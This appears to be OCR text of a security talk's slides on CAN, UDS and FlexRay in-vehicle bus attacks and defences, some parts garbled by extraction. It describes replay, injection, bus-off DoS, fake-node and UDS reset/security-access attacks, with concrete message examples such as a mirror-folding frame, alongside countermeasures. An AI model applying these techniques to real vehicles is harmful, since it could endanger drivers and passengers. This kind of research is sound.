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Challenges OEMs are confronting-Security Challenges against Connected Vehicles

Risk of network attack faced by ACES (automatic driving, networking, electric, sharing)

A
Various attack methods

The architecture of oV is complex,
the exposure surface is increasing,
and the attark methods are diverse

A

No safety standards

There are many protocols for
intelligent connected vehicles,
but there are no safety standards

A

No security defense

Unsecured connected
cars run almost naked

A

Hackers focus on
improving
The attack revenue of
intelligent connected vehicle is

increasing, which is easy to
attract the attention of hackers
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Out-Vehicle Attack Surface
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Focus on in-vehicle today
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In-vehicle Network Topology
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Backbone Network -- Flexray-BUS
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Actuator Network — CAN-BUS
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Attack Path

« Remote Attack:
« Gain access to a controller through remote attack, Such as TBOX, IVL
« Break other domains through the bus.
« Control the whole vehicle.
« OBD Attack:
« Sending malicious bus messages over the OBD interface.
« Physical Attack:
* In-vehicle install a hardware MITM.

« Modify vehicle functions via bus.

12



BUS Common Attack Methods

 Replay Attack.

DoS Attack
Black hole

° I Spammin

Message Tampering. oo

Jamming
Floodin

o Fake NOdeS. Wormhiles
Sybil
Timing

« DOS Attack.

Man-in-middle
Traffic analysis

- Message Injection. SR

« Message Sniffing.
OEM providers and
Supply Chains

« Memory Corruption.

Slight Attacks
Attacks on Sensors

« Logical Vuls.

Performance
Evaluation

R

Replay

Tunnelling

GPS Spoofing
Replication

Free riding
Message tampering
Sybil

DoS Attack
Impersonation
lllusion

Masquerading

Hlusion

Replay

Man-in-middle
Unauthorized software-
modifications

Injection

Impersonation

Sensors sensitivity to
weather conditions
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Enter The BUS World
What and How



Ioz The principle and attack idea of CAN bus in the car



The Attack and Defense of CAN Bus

CAN bus principle
In-vehicle bus security research tool

CAN bus attack method



Vehicle bus

Former
SAE J1850 ( Class2 )
SAE j1708
K-Line
BEAN

Byte flight

Current
CAN
CANFD
Lin
Flexray

Ethernet



Mainstream in-vehicle bus
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CAN share

In 2019, from the statistics of the CiA organization, about 2.5.billion QAN physical
nodes were installed and used around the world (most of which are in the
automotive field)
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Origin of CAN

CAN-Controller Area NetWork is a serial communication protocol developed by German
Bosch Company in the early 1980s to solve the real-time data exchange between many
control units and test instruments in modern automobiles. It is a multi-master bus system.
The network topology of the CAN bus is shown in the figure.

CAN bus is the most widely used bus in the car, and it has been the standard protocol of

automobile network in Europe.



CAN communication mechanism

message sending
When a node sends a message, it needs to detect the bus state
A node can send a message only when the bus is in an idle state
In the process of sending a message, "read back" is performed to determine whether the sent

bit is consistent with the read back bit.




CAN communication mechanism

non-destructive arbitration

After exiting the

arbitration, it enters the

listen-only state, and - m
I|:E:l Data

retransmits the message

when the bus is idle.

1 3
:arbitration : ¢ arbitration » : arbitration : t



CAN communication mechanism

message reception

filtering

The received packets CAN Node CAN Node CAN Node

are filtered by the filter.

filtration filtration filtration

if relevant -> receive
if not relevant -> filter

CAN I T [ D ] Data |

The CAN bus generally filtration filtration
uses plaintext
communication, and all P14 CAN Node CAN Node
nodes accessing the
bus can monitor the bus
data, which is easy to
cause privacy leakage.




CAN Data frame

B Two formats of data frame

<+ Standard data frame

Standard data frames and
extended data frames are
identical except for the
arbitration field and reserved
bits. The two only differ in frame . extended data
length, and extended frames * frame

can extend more CAN nodes to 1
better support upper-layer p
protocols. B v

~mo |-
l XO0p |-

1 18

I Extended ID

A0 |-

rmo |-
l xXO0OPp |-




CAN Data frame

SOF :
Frame start flag

Arbitration Field

ID :

Determine the
arbitration priority of
messages: The
smaller the ID value,
the higher the priority




CAN Data frame

remote frame

11 18 1

It is used to request a :
node to send data to = gl Ratole
avoid bus conflicts

1 want to know | 'OK1 No problem“i
— the oil temp -5

Using the remote frame
request mechanism of
CAN messages, the
remote frame request DOS data frames» ID= “oil temp”
attack messages can be Date= “115°C”
constructed later.




CAN Data frame

The IDE is used
to distinguish
between standard
and extended
frames

This bit has no real
meaning,

SRR is always one,

18

Extended ID

18

1

Extended ID




CAN Data frame

Two reserved Bits
r1=0, r2=0

Contains 4 bits,
representing the

number of bytes of
data contained in

the data field.

IDE=0 ( ID=11 bit )
IDE=1 ( ID=29 bit )




CAN Data frame

From an attacker's
perspective, we're
more interested in
data farms.

Changing the CRC
to make it wrong and
sending 255
consecutive error
frames to the target
ECU can cause the
bus to enter busoff.




CAN Data frame

In addition to CRC, the bus can also be put into busoff state by changing ACK, EOF, etc

After ITM, the bus is idle, and the node can send messages



CAN Data frame

Trace
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CAN summary

In conclusion, the CAN bus stands out in the automotive network because of the following characteristics

The multi-master communication mode is adopted between nodes.

The short frame structure is adopted, the standard data frame is 8 bytes, and the baud rate is 500K, which can be sent in
more than 200 us.

The smaller the packet ID value, the higher the priority.

Non-destructive bus arbitration handling mechanism.

Reliable CRC check method, the transmission data error rate is extremely low, and it is suitable for automobile data
transmission.

If the message fails to arbitrate or is destroyed during transmission, there is automatic retransmission (mechanism).

In the case of serious errors, the node has the function of automatically disconnecting from the bus, which does not affect the
normal operation of the bus.

Communication adopts event-triggered mechanism

The number of nodes can actually reach 110 CAN nodes, and the design cost is low



CAN summary

The CAN bus is the backbone of the in-vehicle bus, so the principle and attack methods of

the CAN bus are mainly introduced.

Many attack methods of the CAN bus can be multiplexed in other in-vehicle buses, and

the ideas are similar.

Now | will introduce the idea of using these characteristics of CAN bus to develop targeted

attacks.

If a worker wants to do a good job, he must first sharpen his tools. Before introducing the

attack ideas, let me introduce some of the CAN bus security research tools we use.



The Attack and Defense of CAN Bus

CAN bus principle
In-vehicle bus security research tool

CAN bus attack method



Bus Research Tool
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Bus Research Tool

Vector CANoe 8914 : CAN. Lin, FlexRay

Vector 6501 : CAN Bus interferometer

Vector CANoe5650 : Ethernet ,

ZLG : CAN

komodo : CAN



The Attack and Defense of CAN Bus

CAN bus principle
In-vehicle bus security research tool

CAN bus attack method



Research on the attack methods of CAN bus:

1.1 Replay attack

1.2 Malicious message injection

1.3 DOS attack (high priority, error frame busof, request remote frame,
flood attack)

1.4 Fake node attack

1.5 Combined attack



Replay attack:

The CAN bus protocol is a broadcast protocol without an authentication scheme. All

nodes connected to the CAN bus can receive data sent by other CAN nodes, so the data is

vulnerable to eavesdropping and may be attacked by replay.

Attackers can access the CAN bus through illegal means, and use the characteristics of
the bus to use broadcast communication to illegally obtain messages with certain functions (there
may be a large number of other useless messages when the message is obtained. message), and

then use the CAN message sending tool to replay the message to achieve the purpose of the attack.



CAN replay attack
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CAN replay attack
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CAN Replay Attack Prevention

Preventive measures: Increase the random number to
maintain the freshness of the messages.

1: The sender generates a random number, so that the
random number is sent to the receiver along with the
data.

2: After receiving the message and the random number,
the receiver checks whether the message has
appeared in its own database. If it detects that the
random number is duplicated with the data carried in a
previous transmission, it can be considered that it has
suffered a replay attack. .

3: The receiver establishes a corresponding index for
each received random number and stores it in the
database.

sender creates a random
number

l

Pass random numbers and
data to the receiver

}

The receiver compares
random numbers

hether random numbers appe

NO

The replay attack was
launched

l

Storing random <

numbers

4

End




Malicious message injection: CAN data lacks encryption function, and data is transmitted in plaintext on the
bus, without encryption, authentication mechanisms, and anomaly detection systems.

An attacker can obtain the value in the plaintext field by means of message capture and replay + firmware
analysis.

The following takes the folding rearview mirror function as an example, trying to fold the left and right
rearview mirrors while the vehicle is driving, so as to interfere with the normal driving of the driver.

One: Capture the message through CANoe, and finally locate the message of the folding rearview mirror,
ID: Ox7

Message: 55 31 47 C9 00 07 21 B8

After in-depth analysis of the message data field, it is determined that the fifth byte 07 field is the folding
angle of the rearview mirror. When the value is changed to more than 0x20, the rearview mirror will always
try to fold 360 degrees, and it still cannot stop after the vehicle restarts.



CAN malicious message injection
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CAN Malicious Message Injection Prevention

The CAN network sheet inputs data in plain text on the bus, and attackers obtaining CAN network data will
not only cause security problems, but also violate privacy. Today's cars collect driver-related data that needs
to be stored and transmitted over fragile CAN networks. The investigation revealed that the experimenters
were able to obtain the car's precise location history and other personal data (phone records, contact lists,
email addresses and photos) from a mobile phone connected to the car. An attacker only needs to go
through the bus to steal personal messages. In addition, the researchers' study shows that the sensor data
of the transmission path through the CAN bus can be used to identify the driver, thereby monitoring the

situation in the car and violating personal privacy.

Therefore, from a security point of view, it is recommended to input data on the bus in the form of ciphertext.



CAN network arbitration mechanism: CAN bus is a field bus, each node can detect the data being
sent on the network at the same time, and each node can initiate its own message transmission
when the bus is idle. If multiple nodes initiate a message sending request at the same time, which
node occupies the bus is the main purpose of the arbitration mechanism.

DOS attack method one:
The CAN bus arbitration mechanism is used to continuously send high-priority messages,

resulting in the normal message ECU cannot process, and the bus is in a "blocked" state, thereby
realizing DOS attacks.



CAN DOS attack
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CAN DOS attack

DOS attack method two:

Using the CAN bus error frame mechanism, some error messages are carefully constructed to the bus
and sent to the target ECU. When the error message frame reaches a certain number of times, the bus
goes to the bus off state. The bus is closed and the service is refused. After receiving 32 normal messages
again, the bus returns to normal.

A
Mcontroller
. [
CAN °
controller 1 0 0 1 0 1 1 ‘/1) 0 0 0 0 0 0
TXDy A RXD —
4 L !
CAN 1 0 0 1 0 1 1] o>
transceiver —_ CAN Error Frame
~—
CANH Reasons:
e Transceiver Fail
120Q e CRC Computation error
e (Channel Noise
CANL e Faulty Device
[ ]



CAN DOS attack

DOS attack method three:

Using the CAN bus remote frame mechanism, a large number of requests for
remote frames to the destination ECU are repeated to exhaust its resources,
so that the ECU can normally process other messages in the distance, thereby

achieving denial of service.



CAN DOS attack
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CAN DOS attack
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CAN DOS Attack Prevention

For DOS attacks caused by remote frames, the bus can be monitored to obtain the order of magnitude of
remote frames in the normal communication process. When an ECU is subjected to DOS attacks caused

by remote frames, a large number of remote frames must be sent to the bus, so that the ECU can be

judged. Subject to DOS attack caused by remote frames.

For the DOS attack caused by the error frame, you can also monitor the bus and write an appropriate
judgment plan. When the magnitude of the bus busoff exceeds the normal value, it can be judged that the

ECU is under the DOS attack caused by the error frame.



Fake node attack: Fake node attack is similar to malicious messages. Through in-depth analysis of bus messages, it can
pretend to be a sensor or ECU, send wrong vehicle status information to other ECUs, and affect the normal operation of the

vehicle.

The above attack methods can be used in combination to form many new and interesting attack methods.

E.g:

One: First, determine the door opening message by analyzing the CAN bus message.

Two: secondly, Dos attack on the ECU that processes the door opening message to make it enter the busoff state.

Three: Receive and process the ECU and message data originally belonging to the door opening message through the fake
node.

Four: Finally, you can easily open and close the door through your own card.

Of course, through the in-depth understanding of the CAN bus and the use of the CAN mechanism, you can get more attack

methods.



CAN fake node attack
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UDS bus principle

UDS bus attack method



UDS

What is UDS:

The UDS protocol is ISO14229, which is Unified Diagnostic Services.

UDS is a standardized standard for diagnostic services, such as what command
should be sent to the ecu to read the Diagnostic Trouble Code, and what
command should be sent to Hard Reset.



UDS

Why is the UDS Diagnostic Protocol needed?

Before the advent of car diagnostic protocols, car repairs could only rely
on the experience of the master, because auto parts won't tell you what's
wrong with it. But with the diagnosis protocol, once there is a problem with
the parts or there is a problem, they will save the fault information in the
memory, and the maintenance master can read the fault information
through the communication bus. For example, after an ECU experiences
an undervoltage fault, It will store the DTC (Diagnostic Trouble Code)

represented by the undervoltage fault, and optionally save the snapshot
information when the fault occurs (such as the vehicle speed at this time,

the voltage value read, etc.). Snapshot information helps test engineers
and aftermarket technicians find the cause of failures.



UDS Diagnostic Communication Model

request

P A

&
A <'r S % @

client / tester

In addition to the CAN bus, UDS can also be implemented on
different automotive buses such as LIN, Flexray, Internet and K-line.



UDS diagnostic message frame

UDS is essentially a collection of services, including 6 categories,
a total of 26 kinds. Each service has its own independent ID,
namely SID (Service Identifier, diagnostic service ID).

UDS is an interactive protocol (Request/Response) for
directional communication, that is, the diagnostic party (Tester)
sends the specified request data (Request) to the ECU. This
data needs to contain the SID, and the SID is the first in the

application layer data. bytes.

If it is a positive response (Positive Response), the first byte

returns [SID+0x40].

If it is a negative response (Negative Response), the first byte
returns 0x7F, and the second byte returns the SID just asked.
The third byte is the NRC (Negative Response Code), which

represents my basis for denying you.

length  SID  Sub-Function

- I 4

02) (1O} 01} 00 00 00
06 (50 01y 00 32 00

!

Sure Response

length Sub-Function

02 10 02 00 OO OO
03] [/F 10 TE

Iength/ / \
Sub-F

Negative Response unction

02 11 01 00 00 Q0
03 [/F] |1 (22] 00 00

Iength/ / \ \

Negative Response Sub-Function NRC

00
C8

00
00

00
00

00
00

00
00



UDS service

A SID (0x) 2R3 2 B33 Service

1012 =154 Diagnostic Session Control
11|ECUS{ ECU Reset
27| Z27iE) Security Access
28 1@z Communication Control

X ) - 3E|FHIEF Tester Present

A 83|in=lRTEIZEN Access Timing Parameter
84| ZLEEEE Secured Data Transmission
85|FHIDTCRYIRE Control DTC Setting
86| F{4Nafy Response On Event
87| hEiEiS Link Control




UDS service

22 (BT IDIEEUE Read Data By Identifier

23 IBIHEINEEAE Read Memory By Address

24 BT IDiELLHETRE Read Scaling Data By Identifier
5 LT R 2A 1B [EHAI DIZEEE Read Data By Periodic Identifier

2C| FFSE MR Dynamically Define Data Identifier

2E|i B IDSEIE Write Data By Identifier

3D|BIENIISAEF Write Memory By Address

For the 26 types of services of UDS, we can do specific attacks on some services.

For example, use the 11 service to restart the ECU, suddenly restart the engine while the car is

running, and do a DOS attack.

For example, bypassing the 27 service, or brute-forcing the 27 service, bypassing authentication to

obtain the highest authority, etc. The detailed attack methods will be introduced in detail in the

following chapters.




UDS service

— 14 B2 H(ER Clear Diagnostic Information
L 19 ZEETSEER Read DTC Information
i\ IT BT EE R 2F| BT DB B Input Output Control By Identifier
BliTERIhEERTT 31|BlTER=4 Routine Control
34 FK Mg Request Download
35(iFK L% Request Upload
& Rheeert 36| FUEEE Transfer Data
37 ERIEHEE Request Transfer Exit
38 (BRI EE Request File Transfer




UDS negative response

Hex

01
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10

1

12

13

14

15

20

21

22

23

L AEX

Name Description

ISOSAEReserved ISO {88, EiiFREN

—RRiHER, BEELAEREAERNA N

GeneralReject

FRSASE., SHIERSABENL

serviceNotSupported

sub-functionNotSupported FEEASS., SHIMFREREEEY

ncorrectMessagelLengthOrinvalidFormat R EEIR
responseToolLong AR TS EAI
ISOSAEReserved ISO {R88, ERIREN
busyRepeatRequest TITSEHITER. SHIERRRXEK

conditionsNotCorrect

FHABRE. SHMEREPRSLAREZHNS
sk

ISOSAEReserved ISO {#8, ERIFRENX

24

25

26

27

30

31

32

33

34
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36

37

38
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requestSequenceError

noResponseFromSubnetComponent

FailurePreventsExecutionOfRequestedAction

ISOSAEReserved

requestOutOfRange
ISOSAEReserved
securityAccessDenied
ISOSAEReserved
invalidKey

exceededNumberOfAttempts

requiredTimeDelayNotExpired

reservedByExtendedDataLinkSecurityDocument

With the NRC code, we can identify the cause of the negative response.
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ZLAEREIR
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W EKinvalidKeyiBid 7 /i FRIZEUREL
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UDS bus principle

UDS bus attack method



UDS attack method

11Services:

No precondition reset leads to denial of service attack
27 Services:

Authentication, dll algorithm reverse

random number attack

ECU deadlock and password blasting



UDS attack

11 Service No precondition reset. 11 services are sent continuously, causing the ECU to
restart continuously, forming a service attack.
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UDS attack

After the attacker enters the in-vehicle bus, he can use the 11 service to restart
most ECUs, causing many ECU functions to be paralyzed. In the previous research, we
tried to continuously send the 11 service to the battery of the tram, which directly

caused the battery function to be paralyzed and impermanently work normally.

However, many developers do not seem to be aware of the need to limit the use of
11 services, and do not limit the number of times 11 services can be used within the

cycle time, or the conditions of use.

Imagine how serious the consequences would be if the engine suddenly stopped

working while driving, or if the brake booster system failed.



UDS attack

27 Services: Multidimensional Attacks.

27 Secure access: There is a lot of data in the ECU that is unique to the OEM, and does not
want to be open to all customers, it needs to be set to a secret. When we read some special
data, we must first perform a security unlock. After the ECU is powered on, it is in a locked state
(Locked). We pass 27 services, add a sub-service, and add a key, such a service request can be

unlocked.

Tester: 02 27 05 00 00 00 00 00 Security Access, 05 Subfunction

ECU: 06 67 05 08 27 11 FO 00 Affirmative response, replies the seed corresponding to the
security level

Tester: 06 27 06 FF FF FF FF 00 Send key, 4 FFs. Note that 06 is used in pairs with 05.
ECU: 03 7F 27 78 00 00 00 00 If the response is negative, 7F+27+NRC

ECU: 02 67 06 00 00 00 00 00 If it is a positive response, pass the safety verification



UDS attack

27 The biggest core of the service is the algorithm. Take a simple algorithm, such as adding the first 4 bytes of seed and
ECU SN, cyclically shift left by two bits, execute 3 rounds, return this number as the key, and end. Security verification is a
lock. The more complex the algorithm, the higher the cost of unlocking in a short time, and the less likely it is to be cracked. If
there are too many failures, there should be a punishment mechanism, and you cannot try to unlock it again for a period of

time to prevent artificial cracking.

27 The service uses a symmetric encryption algorithm, which is not very secure. An attacker can try to attack the
vehicle's diagnostic software and reversely analyze its encryption algorithm. Or the random numbers generated by some
developers with indifferent security awareness can be followed regularly or the length of the random number is less than 3

bytes, and the ECU has no deadlock mechanism, etc., which can allow attackers to take advantage.

The emergence of UDS 29 service is for the defect of 27 service. 29 service adopts asymmetric algorithm, which is more

secure, but 29 service is not popularized, and more existing vehicles still use 27 service.



UDS attack
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N ] 10. 150527 CAN 1 635 CAN Frame Rx 8 FO 82 5D
[®] 10.770280 CAN 1 635 CAN Frame Rx 8 EC 98 5E
[®] 11.390832 CAN 1 635 CAN Frame Rx 8 B9 F4 SE
] 12. 010071 CAN 1 635 CAN Frame Rx 8 0oC B5 13
4] 12. 631065 1 8
] 0.806121 CAN 1 735 CAN Frame Tx 8
%] 0.850132 CAN 1 735 CAN Frame Tx 8
%] 1. 469905 CAN 1 735 CAN Frame Tx 8
] 2. 090456 CAN 1 735 CAN Frame Tx 8
%] 2. 710364 CAN 1 735 CAN Frame Tx 8
%] 3. 330885 CAN 1 735 CAN Frame Tx 8 7
] 3.950051 CAN 1 735 CAN Frame Tx 8 7
™ 4. 569897 CAN 1 735 CAN Frame Tx 8 7
] 5. 190828 CAN 1 735 CAN Frame Tx 8 7
>®] 5.810054 CAN 1 735 CAN Frame Tx 8 7
% 6. 429945 CAN 1 735 CAN Frame Tx 8 2 27
] 7.050131 CAN 1 735 CAN Frame Tx 8 02 27 01 00 00 00 00 0O

Trace Configuration Analysis |



UDS summary

For various reasons, some ECU developers often leave some backdoor commands in the
development stage, and these diagnostic commands often have higher authority. In addition, some
factory-defined instructions are also of interest to attackers.

How to find similar instructions is the first and most important point of research.

By writing a CANoe CAPL script, in the UDS diagnostic format, unconventional diagnostic messages
are sent, and all positive responses to unconventional diagnostic services and NRC non-11, 22 (service
not supported, service undefined) messages in negative responses are recorded , for an in-depth analysis.

In the process of research, we sent unconventional diagnostic commands to all nodes that support
UDS, recorded the response messages of the nodes, conducted in-depth research on some positive
response messages, and cooperated with firmware analysis, and encountered some UDS with privilege
escalation. Diagnostic Services.

Among the 26 types of services in UDS, there are many risk points, which will not be introduced here

one by one due to time constraints.



I04 FlexRay Principle and attack method



FlexRay Protocol Principle
FlexRay static frame attack method

FlexRay dynamic frame attack method



FlexRay Introduction

Because the traditional CAN solution
can not meet the requirements of the
car wire control system (X-by-Wire). So
in September 2000, BMW and
DaimlerChrysler joined Philips and
Motorola to form the FlexRay Alliance.
The alliance is committed to promoting
the global adoption of the FlexRay
communication system as the standard
protocol for advanced powertrain,
chassis, and drive-by-wire systems.




FlexRay Trigger method

TDMA(Time division multiple access, abbreviation): The time equivalent to the sending node is
determined, divided into time slices, and sent periodically; Each time slice tcycle can be divided

into 4 time segments, each A fragment specifies a message.

tcycle tcycle tcycle

TDMA = o == B S = = O [ B




FlexRay communication cycle

Communication cycle composition:
Static segment, dynamic segment, symbol window, network idle segment
Communication cycle parameters:
Static segment: used to transmit messages deterministically, required;
Dynamic segment: used to transmit event-driven messages, optional;
Symbol window: used to transmit special symbols, optional;

Network idle period: Synchronize the local clock.no data communication, required;



FlexRay communication cycle

Communication cycle range:

FlexRay uses one communication cycle as the cycle to send the data of the command, and

one communication cycle is divided into 64 Cycles, the range is [0,63];

Cycle [n+1] Cycle [...]

| Cycle [n+0)]

<

! L bol : : !
|| static dynam|c:v¥::lo?u NIT static dynamicﬁ':dboo‘:’ NIT static dynamic

Communication cycle combination mode:

A
Fi1N

\V‘

Communication cycle
combination :




FlexRay static segment

The static segment consists of:

1. The sending node can be assigned to specific
static slots to send static frames.

2. The static segment can be divided into
2~1023 equal-length static Slots, and the Slots
ID range is between 2~1023.

3. In the static segment, the length of each static
message is fixed and equal. It consists of frame
header, payload, and frame trailer. The CID at
the end of the static frame is the end mark of the

static frame.

slot 1

header

static
segment

siot 2

Static Frame

payload trailer

gdStaticSlots

gNumberOfStaticSlots

siot m-1

siot m



FlexRay static segment

Dynamic segment composition:

1. The dynamic segment is used for event-
triggered messages, and is often used for
flashing and diagnostic functions.

2. Due to the different lengths of dynamic
segments, the dynamic slots used to store
dynamic segments are also different. Dynamic
slots consist of one or more units whose
minimum unit is MiniSlot.

3. The dynamic segment can contain up to 2047
dynamic Slots, and can be divided into up to
7986 dynamic MiniSlots.

dynamic
segment

gNumberOfStaticSlots

dynamic slot
m+3

gdMiniSiot

Static Frame

header payload trailer DTS

Variable Duration



FlexRay Symbol window

Symbol window: fixed length, used to transmit symbols, non-message data.
Symbols include the following three types:

Collision avoidance symbol: used to indicate the beginning of a
communication cycle.

Media Test Symbol: Used to test the bus monitor.

Wakeup symbol: Used to wake up the FlexRay network.



FlexRay cyberspace segment

Network idle segment: used to synchronize the local clock, and the NIT

segment does not perform data communication.



FlexRay frame structure

frame structure:

Payload

Payload Header Cycle Data

Length CRC Count 0
- > - > - > - > < > - > >
‘ S Bit 11 Bit | 7 Bit 11 Bit 6 Bit ‘ 0 - 127 Words [0 - 2032 Bit] 24 Bit
Top 5:

1. Reserved bit, send 0 by default.

2. Payload indication bit, according to the different types of static and dynamic packets.

3. The empty frame indication bit is used to indicate whether there is data in the Payload part.

4-5: The synchronous frame indication bit and the start frame indication bit are used to judge whether the frame is a

synchronous frame or a start frame.



FlexRay frame structure

frame structure:

Payload

12345 Frame Payload Header Cycle Data

1D Length CRC Count 0
- > > - > - > - > - »>- » |
| S Bit 11 Bit 7 Bit 11 Bit 6 Bit 0 - 127 Words [0 - 2032 Bit] 24 Bit

Frame ID: The message ID.
Payload Length: Payload address size, the range is 0-127.
Header CRC: The frame header CRC sequence, only performs CRC check on the synchronization frame,

start frame, Frame ID, and Payload Length.

Cycle Count: Cycle count, indicating the number of cycles in which packets are sent. The range is 0-63.



FlexRay frame structure

Similar to the CAN
bus research, the
researchers are more
concerned with the
form in the right
figure, and pay more
attention to the
change of 32-byte
data in one frame.

4 - P-HB K -

Configuration2 * [Real Bus] - Vector CANoe /pro

Home  Analysis  Simulation Test  Diagnostics  Environment = Hardware = Tools  Layout
-, > <
=¥ E B == ; B =
Channel Channel  Network Configuration Control Tools Protocol Vector GNSS Video Other
Usage Mapping Hardware - A Configuration I/0  Configuration Configuration
Channels VT System Sensors 1/0-Hardware
5 Trace
PLF SV H x Il At <Search> v |y - IEle- =- A~ L.~ [0 Initial ~
Time Channel Name Id... Type C.. Dir D. Data Fra.. Fra.. Sc.. Sy.. Star.. F?
[:] FR 1 AB Status POC ACTIVE
W Ay 330.162019 FR 1 A 1 PDU 61 Rx 32 0 0 0x20 VAL  st... 1 1 0
+ [X 330.162019 FR 1 A 1 Raw Frame 61 Rx 32 [UN() 0x20 VAL sto.. 1 1 0
X] 330. 167080 FR 1 A Nt Frame > R 32 0x20 VAI st. 1 1 (
W ARY 330.152141 FR 1 A 3 PDU 59 Rx 32 0x20 VAL  st... 0 0 0
# [ 330.152141 FR 1 A ... Raw Frame 59 Rx 32 0x20 VAL  st... 0 0 0
X 330.167202 FR 1 A 4 Null Frame 2 Rx 32 VAL st... 1 1 0
W AY 330.162263 FR 1 A 5 PDU 61 Rx 32 4223 0x20 VAL st... 0 0 0
# [ 330.162263 FR 1 A ... Raw Frame 61 Rx 32 4223 .. 0x20 VAL st... 0 0 0
’ B Ay 330.162385 FR 1A 7 PDU 61 Rx 32 83 45 36 1 164 65 131 67 .. 0x20 VAL  st... 0 0 0
[ 330.162385 FR 1 A ... Raw Frame 61 Rx 32 83 45 36 1 164 65 131 67 .. 0x20 VAL  st... 0 0 0
' W AY 330.152445 FR 1 A 8 PDU 59 Rx 32 0 1 0x20 VAL sto.. 1 1 0
+ [X 330.152445 FR 1 A ... Raw Frame 59 Rx 32 0 1 0x20 VAL sto.. 1 1 0
] 330. 16 FR 1A 16 Null Frame 62 R 32 0 VAL st... 0 0 (
W Ay 330.162995 FR 1 A 17 PDU 61 Rx 32 0 0 0 0 ..0x20 VAL  st... 0 0 0
+ [X 330.162995 FR 1 A 1... Raw Frame 61 Rx 32 0 0 0 0 0x20 VAL st... 0 0 0
W AY 330.153361 FR 1 A 23 PDU 59 Rx 32 0x20 VAL st... 0 0 0
# (X 330.153361 FR 1 A 2... Raw Frame 59 Rx 32 0x20 VAL  st... 0 0 0
W Ay 330.153422 FR 1 A 24 PDU 59 Rx 32 0 0 0x20 VAL  st... 0 0 0
+ [% 330.153422 FR 1 A 2. Raw Frame 59 Rx 32 0 0 0x20 VAL st... 0 0 0
™!
<
<
Write
nixREHARA R
Source Message

Overview System Program / Model Test
Configuration Analysis | ]

\ a7e

Trace

2 Simulation Setup

>
\FIexRay

— 0O X

= # Networks

x|

=% FlexRay Clus...

= % FlexRay
= 8 Nodes
8 ddd

B Interactive !

B Replay bl.

= ® Databases
® Backbo. .
= = Channel

0:00:05:30 ~



FlexRay summary

FlexRay is a high-speed deterministic vehicle bus system with fault tolerance and fault
tolerance specially designed for in-vehicle LAN. It has the following characteristics:

1. High speed and fault tolerance

Support dual channel, the transmission rate of a single channel can reach 10Mbps.
When one channel fails, the other channel can transmit normally, so as to realize
redundant backup and improve fault tolerance.

2. Certainty

CAN competes for the bus through an arbitration mechanism, and there is a delay.
The FlexRay time-triggered bus system conforms to the principle of TDMA (Time Division
Multiple Access). Therefore, in the time control area, the time slot will be assigned to a
certain message, that is, the specified time period will be assigned to a specific
message. Slots are repeated at a fixed period, which means that the timing of
information on the bus can be predicted, thus ensuring its determinism.



FlexRay Protocol Principle
FlexRay static frame attack method

FlexRay dynamic frame attack method



replay attack
Malicious message injection

DOS attack (according to FlexRay Slots mechanism)



FlexRay: Like the CAN bus, FlexRay also uses plaintext input messages, so FlexRay also has replay attacks.

However, FlexRay is different from the event-triggered method of CAN bus, which is time-triggered, which
leads to the problem of testing time slots for replay attacks on FlexRay.

As an attacker, we need to replay the attack packet in the correct time slot, and we also need to consider the
problem that the correct time slot is occupied.

The following is the detailed process of FlexRay replay attack based on CANoe.



FlexRay replay attack

Through the message capture and replay analysis of FlexRay messages, the messages that make
the wiper work are finally determined, and the wiper is always in the working state through the replay
attack.

Time Channel N. Identifier  Type Cycle Dir - DLC Data Frame State Frame State (Ab.) Schedule Sync Flag
#- [X 1. 556990 FR1A I1..27 [15,16] Raw Frame 15 Tx 32 I50 1201 37 76 99 241 114 92 80 248 18 178 193 161 89 ...leZO VAL static 0
#RY 1. 440470 FR1A V.. 2 PDU 56 Rx 8 192 82 0 2 8 0 0 O 0x20 VAL static 1
7 RY 1. 440470 FR1A V.. 2 PDU 56 Rx 24 11110 9113 48 0 5 0 0 0 0 O 5 0 0 0 ...0x20 VAL static 1
o [X 1. 440470 FR1A V.. 2[00, 4] Raw Frame 56 Rx 32 192 82 0 2 8 0 0 O 11110 9113 48 0 5 0 ...0x20 VAL static 1
# A 1. 440592 FR1A I.. 4 PDU 56 Rx 8 192 86 0128 0 0 0 O 0x20 VAL static 1
o [X 1. 440592 FR1A I.. 400, 4] Raw Frame 56 Rx 32 192 86 0128 0 O O 0212 215210 108 109 0 32 O ... 0x20 VAL static 1
# RY 1. 440653 FR1A B.. 5 PDU 56 Rx 8 08 0 0 0 0 0 O 0x20 VAL static 0
- [ 1. 440653 FR1A B.. 5[0, 4] Raw Frame 56 Rx 32 o8 o0 0 0 o0 o0 o o o o O O O O O0...0x20 VAL static 0

X 0. 020846 FR 1A 7 Null Frame 28 Rx 32 00 0 0 0 0 0 0 0 0 0 0 0 0 0 O0... 0x20 VAL static 0
w R 1. 440836 FR1A C.. 8 PDU 56 Rx 8 208 8 2 0 0 2 0 O 0x20 VAL static 1
- [ 1. 440836 FR1A C.. 8[0, 4] Raw Frame 56 Rx 32 2088 2 0 0 2 0 O O O O O O O O O...0x20 VAL static 1
B Ry 1.441324 FR1A D.. 16 PDU 56 Rx 32 0 0 0136 0 0128 0O 0 16192 O 0 4232129 ... 0x20 VAL static 0
o[ 1. 441324 FR1A D..16 [ 0, 8] Raw Frame 56 Rx 32 0 0 0136 0 0128 O 0 16192 O 0 4232129 ... 0x20 VAL static 0
i R 1.441385 FR1A D.. 17 PDU 56 Rx 32 % 0 0 0 0 O O O O O O O 0O O O O0...0x20 VAL static 0
o [X 1.441385 FR1A D..17 [ 0, 4] Raw Frame 56 Rx 32 % 0 0 0 0 O O O 0O O O O O O 0 O0...0x20 VAL static 0

DX 1.441751 FR 1 1..23 [ 0, 4]  Null Frame Rx 32 0x20 VAL 0

X] 0. 031883 FR 1A 24 Null Frame 30 Rx 32 00 0 00 00 0 0 0 0 0 0 0 0 0...0x0 VAL 0
# R 1. 451872 FR1A I..25 PDU 58 Rx 32 o 5 0 0 0 0O 0O 0O O O O O 4 0181 0 ...0x20 VAL static 0
=[] 1. 451872 FR1A I..25 [0, 2] Raw Frame 58 Rx 32 o 5 0 0 0 0O 0O 0O O O O O 4 0181 0 ...0x20 VAL static 0
w Ry 1.451933 FR1A I..26 PDU 58 Rx 32 o o0 o0 o0 o0 o0 o0 1 0O O O O O O 0 O0...0x20 VAL static 0
= [ 1. 451933 FR1A I..26 [0, 2] Raw Frame 58 Rx 32 o o0 o0 o0 o0 o0 o0 1 0O O O O O O 0 O0...0x20 VAL static 0
# Ry 1. 441995 FR1A I..27 PDU 56 Rx 32 132 013 0 2 0 45224 0 37 O O 13 16 O ... 0x20 VAL static 0
